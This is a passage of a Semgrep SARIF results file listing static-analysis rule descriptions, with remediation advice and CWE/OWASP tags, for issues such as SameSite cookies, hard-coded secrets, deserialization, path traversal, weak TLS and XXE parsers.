that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","id":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","name":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","id":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","name":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","id":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","name":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"help":{"markdown":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization)\n - [https://www.owasp.org/index.php/Deserialization_of_untrusted_data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)\n - [https://www.oracle.com/java/technologies/javase/seccodeguide.html#8](https://www.oracle.com/java/technologies/javase/seccodeguide.html#8)\n","text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization","id":"java.lang.security.audit.object-deserialization.object-deserialization","name":"java.lang.security.audit.object-deserialization.object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.object-deserialization.object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","id":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","name":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password","id":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","name":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-empty-password.mongo-empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"help":{"markdown":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"helpUri":"https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering","id":"bash.lang.security.ifs-tampering.ifs-tampering","name":"bash.lang.security.ifs-tampering.ifs-tampering","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.lang.security.ifs-tampering.ifs-tampering"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"help":{"markdown":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq)\n - [https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq)\n","text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","id":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","name":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","id":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","name":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","id":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","name":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"help":{"markdown":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n - [https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2](https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2)\n","text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version","id":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","name":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.weak-ssl-version.weak-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - 